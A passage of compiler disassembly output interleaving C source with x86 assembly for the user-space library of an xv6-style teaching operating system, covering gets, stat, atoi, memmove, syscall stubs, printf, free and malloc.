%al,-0x1(%edx,%ebx,1) if(c == '\n' || c == '\r') 2a3: 74 1b je 2c0 <gets+0x50> 2a5: 3c 0d cmp $0xd,%al 2a7: 74 17 je 2c0 <gets+0x50> gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 2a9: 8d 5e 01 lea 0x1(%esi),%ebx 2ac: 3b 5d 0c cmp 0xc(%ebp),%ebx 2af: 7c cf jl 280 <gets+0x10> break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 2b1: 8b 45 08 mov 0x8(%ebp),%eax 2b4: c6 04 30 00 movb $0x0,(%eax,%esi,1) return buf; } 2b8: 8d 65 f4 lea -0xc(%ebp),%esp 2bb: 5b pop %ebx 2bc: 5e pop %esi 2bd: 5f pop %edi 2be: 5d pop %ebp 2bf: c3 ret break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 2c0: 8b 45 08 mov 0x8(%ebp),%eax gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 2c3: 89 de mov %ebx,%esi break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 2c5: c6 04 30 00 movb $0x0,(%eax,%esi,1) return buf; } 2c9: 8d 65 f4 lea -0xc(%ebp),%esp 2cc: 5b pop %ebx 2cd: 5e pop %esi 2ce: 5f pop %edi 2cf: 5d pop %ebp 2d0: c3 ret 2d1: eb 0d jmp 2e0 <stat> 2d3: 90 nop 2d4: 90 nop 2d5: 90 nop 2d6: 90 nop 2d7: 90 nop 2d8: 90 nop 2d9: 90 nop 2da: 90 nop 2db: 90 nop 2dc: 90 nop 2dd: 90 nop 2de: 90 nop 2df: 90 nop 000002e0 <stat>: int stat(const char *n, struct stat *st) { 2e0: 55 push %ebp 2e1: 89 e5 mov %esp,%ebp 2e3: 56 push %esi 2e4: 53 push %ebx int fd; int r; fd = open(n, O_RDONLY); 2e5: 83 ec 08 sub $0x8,%esp 2e8: 6a 00 push $0x0 2ea: ff 75 08 pushl 0x8(%ebp) 2ed: e8 f0 00 00 00 call 3e2 <open> if(fd < 0) 2f2: 83 c4 10 add $0x10,%esp 2f5: 85 c0 test %eax,%eax 2f7: 78 27 js 320 <stat+0x40> return -1; r = fstat(fd, st); 2f9: 83 ec 08 sub $0x8,%esp 2fc: ff 75 0c pushl 0xc(%ebp) 2ff: 89 c3 mov %eax,%ebx 301: 50 push %eax 302: e8 f3 00 00 00 call 3fa <fstat> 307: 89 c6 mov %eax,%esi close(fd); 309: 89 1c 24 mov %ebx,(%esp) 30c: e8 b9 00 00 00 call 3ca <close> return r; 311: 83 c4 10 add $0x10,%esp 314: 89 f0 mov %esi,%eax } 316: 8d 65 f8 lea -0x8(%ebp),%esp 319: 5b pop %ebx 31a: 5e pop %esi 31b: 5d pop %ebp 31c: c3 ret 31d: 8d 76 00 lea 0x0(%esi),%esi int fd; int r; fd = open(n, O_RDONLY); if(fd < 0) return -1; 320: b8 ff ff ff ff mov $0xffffffff,%eax 325: eb ef jmp 316 <stat+0x36> 327: 89 f6 mov %esi,%esi 329: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000330 <atoi>: return r; } int atoi(const char *s) { 330: 55 push %ebp 331: 89 e5 mov %esp,%ebp 333: 53 push %ebx 334: 8b 4d 08 mov 0x8(%ebp),%ecx int n; n = 0; while('0' <= *s && *s <= '9') 337: 0f be 11 movsbl (%ecx),%edx 33a: 8d 42 d0 lea -0x30(%edx),%eax 33d: 3c 09 cmp $0x9,%al 33f: b8 00 00 00 00 mov $0x0,%eax 344: 77 1f ja 365 <atoi+0x35> 346: 8d 76 00 lea 0x0(%esi),%esi 349: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi n = n*10 + *s++ - '0'; 350: 8d 04 80 lea (%eax,%eax,4),%eax 353: 83 c1 01 add $0x1,%ecx 356: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax atoi(const char *s) { int n; n = 0; while('0' <= *s && *s <= '9') 35a: 0f be 11 movsbl (%ecx),%edx 35d: 8d 5a d0 lea -0x30(%edx),%ebx 360: 80 fb 09 cmp $0x9,%bl 363: 76 eb jbe 350 <atoi+0x20> n = n*10 + *s++ - '0'; return n; } 365: 5b pop %ebx 366: 5d pop %ebp 367: c3 ret 368: 90 nop 369: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 00000370 <memmove>: void* memmove(void *vdst, const void *vsrc, int n) { 370: 55 push %ebp 371: 89 e5 mov %esp,%ebp 373: 56 push %esi 374: 53 push %ebx 375: 8b 5d 10 mov 0x10(%ebp),%ebx 378: 8b 45 08 mov 0x8(%ebp),%eax 37b: 8b 75 0c mov 0xc(%ebp),%esi char *dst; const char *src; dst = vdst; src = vsrc; while(n-- > 0) 37e: 85 db test %ebx,%ebx 380: 7e 14 jle 396 <memmove+0x26> 382: 31 d2 xor %edx,%edx 384: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi *dst++ = *src++; 388: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 38c: 88 0c 10 mov %cl,(%eax,%edx,1) 38f: 83 c2 01 add $0x1,%edx char *dst; const char *src; dst = vdst; src = vsrc; while(n-- > 0) 392: 39 da cmp %ebx,%edx 394: 75 f2 jne 388 <memmove+0x18> *dst++ = *src++; return vdst; } 396: 5b pop %ebx 397: 5e pop %esi 398: 5d pop %ebp 399: c3 ret 0000039a <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 39a: b8 01 00 00 00 mov $0x1,%eax 39f: cd 40 int $0x40 3a1: c3 ret 000003a2 <exit>: SYSCALL(exit) 3a2: b8 02 00 00 00 mov $0x2,%eax 3a7: cd 40 int $0x40 3a9: c3 ret 000003aa <wait>: SYSCALL(wait) 3aa: b8 03 00 00 00 mov $0x3,%eax 3af: cd 40 int $0x40 3b1: c3 ret 000003b2 <pipe>: SYSCALL(pipe) 3b2: b8 04 00 00 00 mov $0x4,%eax 3b7: cd 40 int $0x40 3b9: c3 ret 000003ba <read>: SYSCALL(read) 3ba: b8 05 00 00 00 mov $0x5,%eax 3bf: cd 40 int $0x40 3c1: c3 ret 000003c2 <write>: SYSCALL(write) 3c2: b8 10 00 00 00 mov $0x10,%eax 3c7: cd 40 int $0x40 3c9: c3 ret 000003ca <close>: SYSCALL(close) 3ca: b8 15 00 00 00 mov $0x15,%eax 3cf: cd 40 int $0x40 3d1: c3 ret 000003d2 <kill>: SYSCALL(kill) 3d2: b8 06 00 00 00 mov $0x6,%eax 3d7: cd 40 int $0x40 3d9: c3 ret 000003da <exec>: SYSCALL(exec) 3da: b8 07 00 00 00 mov $0x7,%eax 3df: cd 40 int $0x40 3e1: c3 ret 000003e2 <open>: SYSCALL(open) 3e2: b8 0f 00 00 00 mov $0xf,%eax 3e7: cd 40 int $0x40 3e9: c3 ret 000003ea <mknod>: SYSCALL(mknod) 3ea: b8 11 00 00 00 mov $0x11,%eax 3ef: cd 40 int $0x40 3f1: c3 ret 000003f2 <unlink>: SYSCALL(unlink) 3f2: b8 12 00 00 00 mov $0x12,%eax 3f7: cd 40 int $0x40 3f9: c3 ret 000003fa <fstat>: SYSCALL(fstat) 3fa: b8 08 00 00 00 mov $0x8,%eax 3ff: cd 40 int $0x40 401: c3 ret 00000402 <link>: SYSCALL(link) 402: b8 13 00 00 00 mov $0x13,%eax 407: cd 40 int $0x40 409: c3 ret 0000040a <mkdir>: SYSCALL(mkdir) 40a: b8 14 00 00 00 mov $0x14,%eax 40f: cd 40 int $0x40 411: c3 ret 00000412 <chdir>: SYSCALL(chdir) 412: b8 09 00 00 00 mov $0x9,%eax 417: cd 40 int $0x40 419: c3 ret 0000041a <dup>: SYSCALL(dup) 41a: b8 0a 00 00 00 mov $0xa,%eax 41f: cd 40 int $0x40 421: c3 ret 00000422 <getpid>: SYSCALL(getpid) 422: b8 0b 00 00 00 mov $0xb,%eax 427: cd 40 int $0x40 429: c3 ret 0000042a <sbrk>: SYSCALL(sbrk) 42a: b8 0c 00 00 00 mov $0xc,%eax 42f: cd 40 int $0x40 431: c3 ret 00000432 <sleep>: SYSCALL(sleep) 432: b8 0d 00 00 00 mov $0xd,%eax 437: cd 40 int $0x40 439: c3 ret 0000043a <uptime>: SYSCALL(uptime) 43a: b8 0e 00 00 00 mov $0xe,%eax 43f: cd 40 int $0x40 441: c3 ret 00000442 <cps>: SYSCALL(cps) 442: b8 16 00 00 00 mov $0x16,%eax 447: cd 40 int $0x40 449: c3 ret 44a: 66 90 xchg %ax,%ax 44c: 66 90 xchg %ax,%ax 44e: 66 90 xchg %ax,%ax 00000450 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 450: 55 push %ebp 451: 89 e5 mov %esp,%ebp 453: 57 push %edi 454: 56 push %esi 455: 53 push %ebx 456: 89 c6 mov %eax,%esi 458: 83 ec 3c sub $0x3c,%esp char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 45b: 8b 5d 08 mov 0x8(%ebp),%ebx 45e: 85 db test %ebx,%ebx 460: 74 7e je 4e0 <printint+0x90> 462: 89 d0 mov %edx,%eax 464: c1 e8 1f shr $0x1f,%eax 467: 84 c0 test %al,%al 469: 74 75 je 4e0 <printint+0x90> neg = 1; x = -xx; 46b: 89 d0 mov %edx,%eax int i, neg; uint x; neg = 0; if(sgn && xx < 0){ neg = 1; 46d: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp) x = -xx; 474: f7 d8 neg %eax 476: 89 75 c0 mov %esi,-0x40(%ebp) } else { x = xx; } i = 0; 479: 31 ff xor %edi,%edi 47b: 8d 5d d7 lea -0x29(%ebp),%ebx 47e: 89 ce mov %ecx,%esi 480: eb 08 jmp 48a <printint+0x3a> 482: 8d b6 00 00 00 00 lea 0x0(%esi),%esi do{ buf[i++] = digits[x % base]; 488: 89 cf mov %ecx,%edi 48a: 31 d2 xor %edx,%edx 48c: 8d 4f 01 lea 0x1(%edi),%ecx 48f: f7 f6 div %esi 491: 0f b6 92 84 08 00 00 movzbl 0x884(%edx),%edx }while((x /= base) != 0); 498: 85 c0 test %eax,%eax x = xx; } i = 0; do{ buf[i++] = digits[x % base]; 49a: 88 14 0b mov %dl,(%ebx,%ecx,1) }while((x /= base) != 0); 49d: 75 e9 jne 488 <printint+0x38> if(neg) 49f: 8b 45 c4 mov -0x3c(%ebp),%eax 4a2: 8b 75 c0 mov -0x40(%ebp),%esi 4a5: 85 c0 test %eax,%eax 4a7: 74 08 je 4b1 <printint+0x61> buf[i++] = '-'; 4a9: c6 44 0d d8 2d movb $0x2d,-0x28(%ebp,%ecx,1) 4ae: 8d 4f 02 lea 0x2(%edi),%ecx 4b1: 8d 7c 0d d7 lea -0x29(%ebp,%ecx,1),%edi 4b5: 8d 76 00 lea 0x0(%esi),%esi 4b8: 0f b6 07 movzbl (%edi),%eax #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 4bb: 83 ec 04 sub $0x4,%esp 4be: 83 ef 01 sub $0x1,%edi 4c1: 6a 01 push $0x1 4c3: 53 push %ebx 4c4: 56 push %esi 4c5: 88 45 d7 mov %al,-0x29(%ebp) 4c8: e8 f5 fe ff ff call 3c2 <write> buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 0) 4cd: 83 c4 10 add $0x10,%esp 4d0: 39 df cmp %ebx,%edi 4d2: 75 e4 jne 4b8 <printint+0x68> putc(fd, buf[i]); } 4d4: 8d 65 f4 lea -0xc(%ebp),%esp 4d7: 5b pop %ebx 4d8: 5e pop %esi 4d9: 5f pop %edi 4da: 5d pop %ebp 4db: c3 ret 4dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi neg = 0; if(sgn && xx < 0){ neg = 1; x = -xx; } else { x = xx; 4e0: 89 d0 mov %edx,%eax static char digits[] = "0123456789ABCDEF"; char buf[16]; int i, neg; uint x; neg = 0; 4e2: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp) 4e9: eb 8b jmp 476 <printint+0x26> 4eb: 90 nop 4ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 000004f0 <printf>: } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, const char *fmt, ...) { 4f0: 55 push %ebp 4f1: 89 e5 mov %esp,%ebp 4f3: 57 push %edi 4f4: 56 push %esi 4f5: 53 push %ebx int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 4f6: 8d 45 10 lea 0x10(%ebp),%eax } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, const char *fmt, ...) { 4f9: 83 ec 2c sub $0x2c,%esp int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 4fc: 8b 75 0c mov 0xc(%ebp),%esi } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, const char *fmt, ...) { 4ff: 8b 7d 08 mov 0x8(%ebp),%edi int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 502: 89 45 d0 mov %eax,-0x30(%ebp) 505: 0f b6 1e movzbl (%esi),%ebx 508: 83 c6 01 add $0x1,%esi 50b: 84 db test %bl,%bl 50d: 0f 84 b0 00 00 00 je 5c3 <printf+0xd3> 513: 31 d2 xor %edx,%edx 515: eb 39 jmp 550 <printf+0x60> 517: 89 f6 mov %esi,%esi 519: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 520: 83 f8 25 cmp $0x25,%eax 523: 89 55 d4 mov %edx,-0x2c(%ebp) state = '%'; 526: ba 25 00 00 00 mov $0x25,%edx state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 52b: 74 18 je 545 <printf+0x55> #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 52d: 8d 45 e2 lea -0x1e(%ebp),%eax 530: 83 ec 04 sub $0x4,%esp 533: 88 5d e2 mov %bl,-0x1e(%ebp) 536: 6a 01 push $0x1 538: 50 push %eax 539: 57 push %edi 53a: e8 83 fe ff ff call 3c2 <write> 53f: 8b 55 d4 mov -0x2c(%ebp),%edx 542: 83 c4 10 add $0x10,%esp 545: 83 c6 01 add $0x1,%esi int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 548: 0f b6 5e ff movzbl -0x1(%esi),%ebx 54c: 84 db test %bl,%bl 54e: 74 73 je 5c3 <printf+0xd3> c = fmt[i] & 0xff; if(state == 0){ 550: 85 d2 test %edx,%edx uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ c = fmt[i] & 0xff; 552: 0f be cb movsbl %bl,%ecx 555: 0f b6 c3 movzbl %bl,%eax if(state == 0){ 558: 74 c6 je 520 <printf+0x30> if(c == '%'){ state = '%'; } else { putc(fd, c); } } else if(state == '%'){ 55a: 83 fa 25 cmp $0x25,%edx 55d: 75 e6 jne 545 <printf+0x55> if(c == 'd'){ 55f: 83 f8 64 cmp $0x64,%eax 562: 0f 84 f8 00 00 00 je 660 <printf+0x170> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 568: 81 e1 f7 00 00 00 and $0xf7,%ecx 56e: 83 f9 70 cmp $0x70,%ecx 571: 74 5d je 5d0 <printf+0xe0> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 573: 83 f8 73 cmp $0x73,%eax 576: 0f 84 84 00 00 00 je 600 <printf+0x110> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 57c: 83 f8 63 cmp $0x63,%eax 57f: 0f 84 ea 00 00 00 je 66f <printf+0x17f> putc(fd, *ap); ap++; } else if(c == '%'){ 585: 83 f8 25 cmp $0x25,%eax 588: 0f 84 c2 00 00 00 je 650 <printf+0x160> #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 58e: 8d 45 e7 lea -0x19(%ebp),%eax 591: 83 ec 04 sub $0x4,%esp 594: c6 45 e7 25 movb $0x25,-0x19(%ebp) 598: 6a 01 push $0x1 59a: 50 push %eax 59b: 57 push %edi 59c: e8 21 fe ff ff call 3c2 <write> 5a1: 83 c4 0c add $0xc,%esp 5a4: 8d 45 e6 lea -0x1a(%ebp),%eax 5a7: 88 5d e6 mov %bl,-0x1a(%ebp) 5aa: 6a 01 push $0x1 5ac: 50 push %eax 5ad: 57 push %edi 5ae: 83 c6 01 add $0x1,%esi 5b1: e8 0c fe ff ff call 3c2 <write> int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 5b6: 0f b6 5e ff movzbl -0x1(%esi),%ebx #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 5ba: 83 c4 10 add $0x10,%esp } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 5bd: 31 d2 xor %edx,%edx int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 5bf: 84 db test %bl,%bl 5c1: 75 8d jne 550 <printf+0x60> putc(fd, c); } state = 0; } } } 5c3: 8d 65 f4 lea -0xc(%ebp),%esp 5c6: 5b pop %ebx 5c7: 5e pop %esi 5c8: 5f pop %edi 5c9: 5d pop %ebp 5ca: c3 ret 5cb: 90 nop 5cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); 5d0: 83 ec 0c sub $0xc,%esp 5d3: b9 10 00 00 00 mov $0x10,%ecx 5d8: 6a 00 push $0x0 5da: 8b 5d d0 mov -0x30(%ebp),%ebx 5dd: 89 f8 mov %edi,%eax 5df: 8b 13 mov (%ebx),%edx 5e1: e8 6a fe ff ff call 450 <printint> ap++; 5e6: 89 d8 mov %ebx,%eax 5e8: 83 c4 10 add $0x10,%esp } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 5eb: 31 d2 xor %edx,%edx if(c == 'd'){ printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); ap++; 5ed: 83 c0 04 add $0x4,%eax 5f0: 89 45 d0 mov %eax,-0x30(%ebp) 5f3: e9 4d ff ff ff jmp 545 <printf+0x55> 5f8: 90 nop 5f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi } else if(c == 's'){ s = (char*)*ap; 600: 8b 45 d0 mov -0x30(%ebp),%eax 603: 8b 18 mov (%eax),%ebx ap++; 605: 83 c0 04 add $0x4,%eax 608: 89 45 d0 mov %eax,-0x30(%ebp) if(s == 0) s = "(null)"; 60b: b8 7c 08 00 00 mov $0x87c,%eax 610: 85 db test %ebx,%ebx 612: 0f 44 d8 cmove %eax,%ebx while(*s != 0){ 615: 0f b6 03 movzbl (%ebx),%eax 618: 84 c0 test %al,%al 61a: 74 23 je 63f <printf+0x14f> 61c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 620: 88 45 e3 mov %al,-0x1d(%ebp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 623: 8d 45 e3 lea -0x1d(%ebp),%eax 626: 83 ec 04 sub $0x4,%esp 629: 6a 01 push $0x1 ap++; if(s == 0) s = "(null)"; while(*s != 0){ putc(fd, *s); s++; 62b: 83 c3 01 add $0x1,%ebx #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 62e: 50 push %eax 62f: 57 push %edi 630: e8 8d fd ff ff call 3c2 <write> } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 0) s = "(null)"; while(*s != 0){ 635: 0f b6 03 movzbl (%ebx),%eax 638: 83 c4 10 add $0x10,%esp 63b: 84 c0 test %al,%al 63d: 75 e1 jne 620 <printf+0x130> } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 63f: 31 d2 xor %edx,%edx 641: e9 ff fe ff ff jmp 545 <printf+0x55> 646: 8d 76 00 lea 0x0(%esi),%esi 649: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 650: 83 ec 04 sub $0x4,%esp 653: 88 5d e5 mov %bl,-0x1b(%ebp) 656: 8d 45 e5 lea -0x1b(%ebp),%eax 659: 6a 01 push $0x1 65b: e9 4c ff ff ff jmp 5ac <printf+0xbc> } else { putc(fd, c); } } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); 660: 83 ec 0c sub $0xc,%esp 663: b9 0a 00 00 00 mov $0xa,%ecx 668: 6a 01 push $0x1 66a: e9 6b ff ff ff jmp 5da <printf+0xea> 66f: 8b 5d d0 mov -0x30(%ebp),%ebx #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 672: 83 ec 04 sub $0x4,%esp 675: 8b 03 mov (%ebx),%eax 677: 6a 01 push $0x1 679: 88 45 e4 mov %al,-0x1c(%ebp) 67c: 8d 45 e4 lea -0x1c(%ebp),%eax 67f: 50 push %eax 680: 57 push %edi 681: e8 3c fd ff ff call 3c2 <write> 686: e9 5b ff ff ff jmp 5e6 <printf+0xf6> 68b: 66 90 xchg %ax,%ax 68d: 66 90 xchg %ax,%ax 68f: 90 nop 00000690 <free>: static Header base; static Header *freep; void free(void *ap) { 690: 55 push %ebp Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 691: a1 24 0b 00 00 mov 0xb24,%eax static Header base; static Header *freep; void free(void *ap) { 696: 89 e5 mov %esp,%ebp 698: 57 push %edi 699: 56 push %esi 69a: 53 push %ebx 69b: 8b 5d 08 mov 0x8(%ebp),%ebx Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 69e: 8b 10 mov (%eax),%edx void free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; 6a0: 8d 4b f8 lea -0x8(%ebx),%ecx for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 6a3: 39 c8 cmp %ecx,%eax 6a5: 73 19 jae 6c0 <free+0x30> 6a7: 89 f6 mov %esi,%esi 6a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 6b0: 39 d1 cmp %edx,%ecx 6b2: 72 1c jb 6d0 <free+0x40> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 6b4: 39 d0 cmp %edx,%eax 6b6: 73 18 jae 6d0 <free+0x40> static Header base; static Header *freep; void free(void *ap) { 6b8: 89 d0 mov %edx,%eax Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 6ba: 39 c8 cmp %ecx,%eax if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 6bc: 8b 10 mov (%eax),%edx free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 6be: 72 f0 jb 6b0 <free+0x20> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 6c0: 39 d0 cmp %edx,%eax 6c2: 72 f4 jb 6b8 <free+0x28> 6c4: 39 d1 cmp %edx,%ecx 6c6: 73 f0 jae 6b8 <free+0x28> 6c8: 90 nop 6c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi break; if(bp + bp->s.size == p->s.ptr){ 6d0: 8b 73 fc mov -0x4(%ebx),%esi 6d3: 8d 3c f1 lea (%ecx,%esi,8),%edi 6d6: 39 d7 cmp %edx,%edi 6d8: 74 19 je 6f3 <free+0x63> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 6da: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 6dd: 8b 50 04 mov 0x4(%eax),%edx 6e0: 8d 34 d0 lea (%eax,%edx,8),%esi 6e3: 39 f1 cmp %esi,%ecx 6e5: 74 23 je 70a <free+0x7a> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 6e7: 89 08 mov %ecx,(%eax) freep = p; 6e9: a3 24 0b 00 00 mov %eax,0xb24 } 6ee: 5b pop %ebx 6ef: 5e pop %esi 6f0: 5f pop %edi 6f1: 5d pop %ebp 6f2: c3 ret bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ bp->s.size += p->s.ptr->s.size; 6f3: 03 72 04 add 0x4(%edx),%esi 6f6: 89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 6f9: 8b 10 mov (%eax),%edx 6fb: 8b 12 mov (%edx),%edx 6fd: 89 53 f8 mov %edx,-0x8(%ebx) } else bp->s.ptr = p->s.ptr; if(p + p->s.size == bp){ 700: 8b 50 04 mov 0x4(%eax),%edx 703: 8d 34 d0 lea (%eax,%edx,8),%esi 706: 39 f1 cmp %esi,%ecx 708: 75 dd jne 6e7 <free+0x57> p->s.size += bp->s.size; 70a: 03 53 fc add -0x4(%ebx),%edx p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; freep = p; 70d: a3 24 0b 00 00 mov %eax,0xb24 bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; if(p + p->s.size == bp){ p->s.size += bp->s.size; 712: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 715: 8b 53 f8 mov -0x8(%ebx),%edx 718: 89 10 mov %edx,(%eax) } else p->s.ptr = bp; freep = p; } 71a: 5b pop %ebx 71b: 5e pop %esi 71c: 5f pop %edi 71d: 5d pop %ebp 71e: c3 ret 71f: 90 nop 00000720 <malloc>: return freep; } void* malloc(uint nbytes) { 720: 55 push %ebp 721: 89 e5 mov %esp,%ebp 723: 57 push %edi 724: 56 push %esi 725: 53 push %ebx 726: 83 ec 0c sub $0xc,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 729: 8b 45 08 mov 0x8(%ebp),%eax if((prevp = freep) == 0){ 72c: 8b 15 24 0b 00 00 mov 0xb24,%edx malloc(uint nbytes) { Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 732: 8d 78 07 lea 0x7(%eax),%edi 735: c1 ef 03 shr $0x3,%edi 738: 83 c7 01 add $0x1,%edi if((prevp = freep) == 0){ 73b: 85 d2 test %edx,%edx 73d: 0f 84 a3 00 00 00 je 7e6 <malloc+0xc6> 743: 8b 02 mov (%edx),%eax 745: 8b 48 04 mov 0x4(%eax),%ecx base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ 748: 39 cf cmp %ecx,%edi 74a: 76 74 jbe 7c0 <malloc+0xa0> 74c: 81 ff 00 10 00 00 cmp $0x1000,%edi 752: be 00 10 00 00 mov $0x1000,%esi 757: 8d 1c fd 00 00 00 00 lea 0x0(,%edi,8),%ebx 75e: 0f 43 f7 cmovae %edi,%esi 761: ba 00 80 00 00 mov $0x8000,%edx 766: 81 ff ff 0f 00 00 cmp $0xfff,%edi 76c: 0f 46 da cmovbe %edx,%ebx 76f: eb 10 jmp 781 <malloc+0x61> 771: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 778: 8b 02 mov (%edx),%eax if(p->s.size >= nunits){ 77a: 8b 48 04 mov 0x4(%eax),%ecx 77d: 39 cf cmp %ecx,%edi 77f: 76 3f jbe 7c0 <malloc+0xa0> p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 781: 39 05 24 0b 00 00 cmp %eax,0xb24 787: 89 c2 mov %eax,%edx 789: 75 ed jne 778 <malloc+0x58> char *p; Header *hp; if(nu < 4096) nu = 4096; p = sbrk(nu * sizeof(Header)); 78b: 83 ec 0c sub $0xc,%esp 78e: 53 push %ebx 78f: e8 96 fc ff ff call 42a <sbrk> if(p == (char*)-1) 794: 83 c4 10 add $0x10,%esp 797: 83 f8 ff cmp $0xffffffff,%eax 79a: 74 1c je 7b8 <malloc+0x98> return 0; hp = (Header*)p; hp->s.size = nu; 79c: 89 70 04 mov %esi,0x4(%eax) free((void*)(hp + 1)); 79f: 83 ec 0c sub $0xc,%esp 7a2: 83 c0 08 add $0x8,%eax 7a5: 50 push %eax 7a6: e8 e5 fe ff ff call 690 <free> return freep; 7ab: 8b 15 24 0b 00 00 mov 0xb24,%edx } freep = prevp; return (void*)(p + 1); } if(p == freep) if((p = morecore(nunits)) == 0) 7b1: 83 c4 10 add $0x10,%esp 7b4: 85 d2 test %edx,%edx 7b6: 75 c0 jne 778 <malloc+0x58> return 0; 7b8: 31 c0 xor %eax,%eax 7ba: eb 1c jmp 7d8 <malloc+0xb8> 7bc: 8d 74 26 00 lea 